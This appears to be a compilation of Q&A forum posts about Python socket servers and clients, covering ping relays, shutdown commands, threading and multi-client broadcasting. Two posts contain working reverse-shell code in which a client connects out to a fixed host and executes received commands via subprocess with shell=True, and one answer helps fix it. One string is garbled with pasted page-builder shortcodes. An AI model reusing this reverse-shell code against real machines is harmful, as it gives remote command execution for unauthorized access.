I'm struggling with getting reply back to client when pinging through socket server.
Trying to create something simple, where I can ping servers from client through socket server.
Client checks that socket server is online, socket server in "server" will respond status. Client sends the ping command to socket server, socket server initiate the ping to where ever. Raw printout will be sent to client.
What's the best way to do it?
First time working with sockets.
Server
#!/usr/bin/python3
import socket
import sys
HOST = '127.0.0.1'
PORT = 8085
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Socket created')
# Bind socket
try:
s.bind((HOST, PORT))
except socket.error as msg:
print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1])
sys.exit()
print('Socket bind complete')
#Start listening on socket
s.listen(10)
print('Socket now listening')
# Talk with client
while 1:
#wait to accept a connection - blocking call
conn, addr = s.accept()
print('Connected')
while True:
dataFromClient = conn.recv(1024)
print(dataFromClient.decode('utf-8'))
if not dataFromClient:
print("[Client] Disconnected")
break
conn.sendall(dataFromClient)
s.close()
Client
#!/usr/bin/python3
import socket
import subprocess
import os
SERVER = "127.0.0.1"
clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientSocket.connect((SERVER,8085))
os.system("clear")
os.system("cls")
while True:
data = input("Input: ")
clientSocket.send(data.encode())
# dataFromServer = clientSocket.recv(1024)
# print(dataFromServer.decode())
if data == "ping":
input1 = str(input("Enter command: "))
with subprocess.Popen(input1,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) as proc:
for line in proc.stdout:
clientSocket.send(line)
print(proc.communicate())
elif data == "help":
print("Command: pingdl,destip=<isp>,repeat=<amount>")
clientSocket.close()
Related
So can someone please tell me how to have an admin-client shutting down the Server (server.py) in a socket multiple clients architecture? I want admin-client to type "shutdown" in client side then server will be shutdown. and right after submit, the server will call a function that shows network load graph . a graph with the number of requests per time slot.
Server:
`
import socket, threading
class ClientThread(threading.Thread):
def __init__(self,clientAddress,clientsocket):
threading.Thread.__init__(self)
self.csocket = clientsocket
print ("New connection added: ", clientAddress)
def run(self):
print ("Connection from : ", clientAddress)
#self.csocket.send(bytes("Hi, This is from Server..",'utf-8'))
msg = ''
while True:
data = self.csocket.recv(2048)
msg = data.decode()
if msg=='bye':
break
print ("from client", msg)
self.csocket.send(bytes(msg,'UTF-8'))
print ("Client at ", clientAddress , " disconnected...")
LOCALHOST = "127.0.0.1"
PORT = 8080
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((LOCALHOST, PORT))
print("Server started")
print("Waiting for client request..")
while True:
server.listen(1)
clientsock, clientAddress = server.accept()
newthread = ClientThread(clientAddress, clientsock)
newthread.start()
Client:
import socket
SERVER = "127.0.0.1"
PORT = 8080
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((SERVER, PORT))
client.sendall(bytes("This is from Client",'UTF-8'))
while True:
in_data = client.recv(1024)
print("From Server :" ,in_data.decode())
out_data = input()
client.sendall(bytes(out_data,'UTF-8'))
if out_data=='bye':
break
client.close()
`
I have tried
if message == "shutdown":
close()
exit(0)
but dont know how to apply it
The below code does not work, when I keep both socket server and client code in the same script file where I run server in the main thread and the client in a separate thread using start_new_thread
import socket, sys
from thread import *
host = socket.gethostname()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.bind((host, 8888))
except socket.error as msg:
print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
sys.exit()
s.listen(10)
def clientthread(conn):
conn.send('Welcome to the server. Type something and hit enter\n')
while True:
data = conn.recv(1024)
reply = 'OK...' + data
if not data:
break
conn.sendall(reply)
conn.close()
while 1:
conn, addr = s.accept()
print 'Connected with ' + addr[0] + ':' + str(addr[1])
start_new_thread(clientthread ,(conn,))
s.close()
If you bind() to your gethostname(), you also have to connect to that interface from the client, even if it is on the same computer. "localhost" or "127.0.0.1" will not work. If you want them to work, either bind() to them directly, or bind to everything ("0.0.0.0" or just an empty string, "").
Low-budget test code:
from _thread import *
import socket,time
def client():
print("Thread starts")
time.sleep(1)
print("Thread connects")
sock=socket.create_connection((socket.gethostname(),8888))
#sock=socket.create_connection(("localhost",8888))
print("Thread after connect")
sock.sendall(b"Hello from client")
sock.close()
print("Thread ends")
serv=socket.socket()
serv.bind((socket.gethostname(),8888))
#serv.bind(("localhost",8888))
#serv.bind(("0.0.0.0",8888))
#serv.bind(("",8888))
serv.listen(10)
start_new_thread(client,())
print("Before accept")
s,c=serv.accept()
print("After accept "+c[0])
print("Message: "+s.recv(1024).decode("ASCII"))
s.close()
serv.close()
Feel free to experiment with testing the various sock+bind combinations.
Messing around with a reverse shell I found
the server
from socket import *
HOST = ''
PORT = 9999
s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind((HOST, PORT))
print("Listening on port " + str(PORT))
s.listen(10)
conn, addr = s.accept()
print("Connected to " + str(addr))
data = conn.recv(1024)
while 1:
command = input("connected\n")
conn.send(str(command).encode('utf-8'))
if command == "quit": break
data = conn.recv(1024).decode('utf-8')
print (data)
conn.close()
client
import socket, subprocess
HOST = '10.0.0.60'
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(
'[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][*] Connected')
while 1:
data = s.recv(1024).decode('utf-8')
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value).encode('utf-8')
s.close()
Error
connected
dir
connected
dir
After a lot of trial and error when I run both the client connects to the server, however upon entering input such as dir it loops back to waiting for input. Off the bat I'm assuming its an encoding/decoding related issue but I've looked through some documentation and I'm not really sure of a fix.
Your server doesn't show you the output of the commands you send over the network to the client because you're not doing anything with data inside the server's main loop. The print command that I think you expect to be printing the result of each command is not indented correctly.
Indent print(data) to be even with the preceding lines and your program should work as you intend.
#Server Side Script
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname()
port = 9999
s.bind((host,port))
print ("Waiting for connection...")
s.listen(5)
conn,addr = s.accept()
print ('Got Connection from', addr)
x='Server Saying Hi'.encode("utf-8")
while True:
command=input("Shell > ")
if 'terminate' in command:
conn.send('terminate'.encode("utf-8"))
conn.close()
break
else:
conn.send(bytes(command.encode("utf-8")))
print(conn.recv(20000).decode("utf-8"))
Client side Script
import socket
import subprocess
def connect():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname() # Get current machine name
port = 9999 # Client wants to connect to server's # port number 9999
s.connect((host,port))
while True :
try:
command=s.recv(1024).decode("utf-8")
print('Server Says :- ',command)
if 'terminate' in command:
s.close()
break
else:
CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stderr.read())
except ConnectionAbortedError as e:
print("Server Connection Closed !\n\n\n",e)
connect()
I have a server set up with sockets and threading, and when I connect multiple clients to it, if a client sends a message, the server repeats that same message back to it, instead of to all other connected clients. For example:
#server terminal
Server is connected on 8000
('127.0.0.1', 50328) is Connected
('127.0.0.1', 50329) is Connected
Received Message b'hi\n'
#Client 1 terminal
#input
[user1]hi
#returns:
[user1] b'hi\nhi\n'[user1]
#Client 2 terminal
#doesn't return anything, just sits at the prompt
[user2]
The relevant code for the server is:
def clientHandler():
c, addr = s.accept()
print(addr, "is Connected")
if addr not in clients:
clients.append(addr)
try:
while True:
data = c.recv(1024)
if not data:
break
print("Received Message ", repr(data))
for client in clients:
c.sendto(data, client)
except:
print("Error. Data not sent.")
I have read the following sources, but to no avail:
python tcp server sending data to multiple clients
https://docs.python.org/3/library/socket.html
What must I do to make it send user1's message to all other users through the server?
Edit 1:
All server.py code:
from socket import *
from threading import Thread
clients = []
def clientHandler():
c, addr = s.accept()
print(addr, "is Connected")
if addr not in clients:
clients.append(addr)
try:
while True:
data = c.recv(1024)
if not data:
break
for client in clients:
c.sendto(data, client)
except:
print("Error. Data not sent to all clients.")
HOST = '' #localhost
PORT = 8000
s = socket(AF_INET, SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(5)
print("Server is running on "+ str(PORT))
#Thread(target=clientHandler).start()
#Thread(target=clientHandler).start()
#Thread(target=clientHandler).start()
for i in range(5):
Thread(target=clientHandler).start()
s.close()
I see a few issues in your code -
You are starting clientHandler threads, but then you are not making the main thread join any , this may cause main thread to die before the child threads finish processing, I think you would want to save the Thread objects you create to a variable and then make them join the main thread.
Instead of making the clientHandlers directly, you should first wait for accepting a connection from client (outside the handler function) and once you get the connection, add it to list of clients and send it over to the clientHandler.
In your code - for client in clients: c.sendto(data, client) m this sends data to all clients ,instead you should check if client is not the client that this thread is servicing, by checking against the addr that this thread is servicing.
Example changes -
from socket import *
from threading import Thread
clients = []
def clientHandler(c, addr):
global clients
print(addr, "is Connected")
try:
while True:
data = c.recv(1024)
if not data:
break
for client in clients:
if addr != client:
c.sendto(data, client)
except:
print("Error. Data not sent to all clients.")
HOST = '' #localhost
PORT = 8000
s = socket(AF_INET, SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(5)
print("Server is running on "+ str(PORT))
#Thread(target=clientHandler).start()
#Thread(target=clientHandler).start()
#Thread(target=clientHandler).start()
trds = []
for i in range(5):
c, addr = s.accept()
clients.append(addr)
t = Thread(target=clientHandler, args = (c, addr))
trds.append(t)
t.start()
for t in trds:
t.join()
s.close()
I am having a multi-client server which listens to multiple clients. Now if to one server 5 clients are connected and I want to close the connection between the server and just one client then how am I going to do that.
My server code is:
import socket
import sys
from thread import *
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
except socket.error,msg:
print "Socket Creation Error"
sys.exit();
print 'Socket Created'
host = ''
port = 65532
try:
s.bind((host, port))
except socket.error,msg:
print "Bind Failed";
sys.exit()
print "Socket bind complete"
s.listen(10)
print "Socket now listening"
def clientthread(conn):
i=0
while True:
data = conn.recv(1024)
reply = 'OK...' + data
conn.send(reply)
print data
while True:
conn, addr = s.accept()
start_new_thread(clientthread,(conn,))
conn.close()
s.close()